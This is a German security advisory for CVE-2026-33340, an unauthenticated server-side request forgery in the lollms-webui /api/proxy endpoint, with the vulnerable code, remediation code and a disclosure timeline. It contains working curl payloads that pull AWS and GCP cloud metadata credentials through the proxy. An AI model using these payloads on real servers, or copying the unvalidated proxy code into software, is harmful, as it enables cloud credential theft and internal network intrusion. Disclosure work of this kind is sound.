
CVE-2026-33340: Kritische SSRF in lollms-webui /api/proxy - Nicht authentifizierte Fälschung beliebiger Anfragen (CVSS 9.1)
| Feld | Detail |
|---|---|
| CVE-ID | CVE-2026-33340 |
| Schwachstelle | Server-Side Request Forgery (SSRF) |
| Betroffenes Produkt | ParisNeo/lollms-webui (LoLLMs WEBUI) |
| Schweregrad | Kritisch — CVSS 9.1 |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-918: Server-Side Request Forgery (SSRF) |
| Betroffene Komponente | lollms_core/lollms/server/endpoints/lollms_apps.py |
| Verwundbarer Endpunkt | /api/proxy |
| Sicherheitshinweis | GHSA-mcwr-5469-pxj4 |
| NVD | NVD-Eintrag |
| SentinelOne | SentinelOne-Analyse |
| Entdeckt von | Regaan R — ROT Independent Security Research Lab |
Eine kritische Server-Side-Request-Forgery-Schwachstelle (SSRF) wurde in lollms-webui, der Weboberfläche für Lord of Large Language and Multi modal Systems, identifiziert. Der Endpunkt @router.post("/api/proxy") ermöglicht es nicht authentifizierten Angreifern, den Server dazu zu zwingen, beliebige GET-Anfragen zu senden. Dies kann ausgenutzt werden, um auf interne Dienste zuzugreifen, lokale Netzwerke zu scannen oder sensible Cloud-Metadaten wie AWS-/GCP-IAM-Tokens zu exfiltrieren.
ParisNeo/lollms-webui / ParisNeo/lollmslollms_core/lollms/server/endpoints/lollms_apps.py (Zeilen 443-450)/api/proxyDie Schwachstelle besteht darin, dass die proxy-Funktion in lollms_apps.py keine Authentifizierung oder irgendeine Form der URL-/Domain-Validierung implementiert. Sie akzeptiert eine rohe URL-Zeichenfolge vom Benutzer und übergibt sie direkt an einen asynchronen HTTP-Client.
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
try:
async with httpx.AsyncClient() as client:
# No check_access() call — unauthenticated
# No URL validation — arbitrary destinations
response = await client.get(request.url)
return {"content": response.text}
except Exception as e:
raise HTTPException(status_code=500, detail=str(e))
check_access(lollmsElfServer, request.client_id) noch eine Authentifizierungs-Middleware auf, sodass jeder nicht authentifizierte Benutzer ihn aufrufen kann.httpx.AsyncClient().get() übergeben, ohne das Ziel gegen eine Whitelist zu prüfen oder private/interne IP-Bereiche zu blockieren.{"content": response.text} zurückgegeben, was eine vollständige Datenexfiltration ermöglicht.echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888
curl -X POST http://localhost:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://localhost:8888/secret.txt"}'
{"content": "INTERNAL_SECRET_DATA\n"}
Der Server hat die Datei vom internen Dienst abgerufen und ihren Inhalt an den Angreifer zurückgegeben.
# AWS IMDSv1 — Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP — Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'
Attacker lollms-webui Server Internal Network
| | |
| POST /api/proxy | |
| {"url": "http://169.254..."} | |
|----------------------------------->| |
| | GET http://169.254.169.254/... |
| |------------------------------------->|
| | |
| | 200 OK (IAM credentials) |
| |<-------------------------------------|
| | |
| {"content": "<credentials>"} | |
|<-----------------------------------| |
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
check_access(lollmsElfServer, request.client_id) # Add this
# ...
from urllib.parse import urlparse
import ipaddress
BLOCKED_RANGES = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"), # Cloud metadata
]
def is_safe_url(url: str) -> bool:
parsed = urlparse(url)
hostname = parsed.hostname
if hostname in ("localhost", ""):
return False
try:
ip = ipaddress.ip_address(hostname)
return not any(ip in network for network in BLOCKED_RANGES)
except ValueError:
# Hostname is a domain — resolve and check
import socket
resolved = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(resolved)
return not any(ip in network for network in BLOCKED_RANGES)
ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]
def is_whitelisted(url: str) -> bool:
parsed = urlparse(url)
return parsed.hostname in ALLOWED_DOMAINS
Zum Veröffentlichungszeitpunkt wurde bereits eine gepatchte Version von lollms-webui veröffentlicht.
| Datum | Ereignis |
|---|---|
| 2026-03-07 | Schwachstelle entdeckt und über GitHub Security Advisory gemeldet |
| 2026-03-24 | CVE-2026-33340 im NVD veröffentlicht |
| 2026-03-25 | NVD-Datenbankeintrag aktualisiert |
| 2026-03-27 | SentinelOne veröffentlicht Schwachstellenanalyse |
Regaan R (@regaan) Leitender Forscher — ROT Independent Security Research Lab
Dieser Bericht wird ausschließlich zu Bildungs- und Verteidigungszwecken veröffentlicht. Die Schwachstelle wurde im Rahmen einer verantwortungsvollen Offenlegung (Responsible Disclosure) über GitHub Security Advisories gemeldet. Holen Sie vor dem Testen von Schwachstellen stets eine entsprechende Genehmigung ein.
Dieser Bericht ist unter CC BY 4.0 lizenziert.
| Szenario | Beschreibung |
|---|
| Diebstahl von Cloud-Anmeldedaten | Angreifer auf Cloud-Plattformen (AWS/GCP/Azure) können auf http://169.254.169.254/ zugreifen, um Instanzmetadaten, IAM-Anmeldedaten und Zugriffstokens abzurufen — was zur vollständigen Kompromittierung des Cloud-Kontos führt. |
| Pivoting im internen Netzwerk | Angreifer können interne Datenbanken, APIs, Admin-Panels und Verwaltungsschnittstellen ausspähen, die nicht über das öffentliche Internet erreichbar sind. |
| Zugriff auf Localhost-Dienste | Angreifer können an localhost gebundene Dienste (Redis, Elasticsearch, Docker-API, Datenbankkonsolen) erreichen, die lokalem Datenverkehr implizit vertrauen. |
| Interner Portscan | Die SSRF kann genutzt werden, um offene Ports und laufende Dienste im internen Netzwerk zu enumerieren, indem man Antwortzeiten und Fehlermeldungen beobachtet. |
| Datenexfiltration | Alle über HTTP erreichbaren Daten im Netzwerkzugriffsbereich des Servers können gelesen und an den Angreifer zurückgegeben werden. |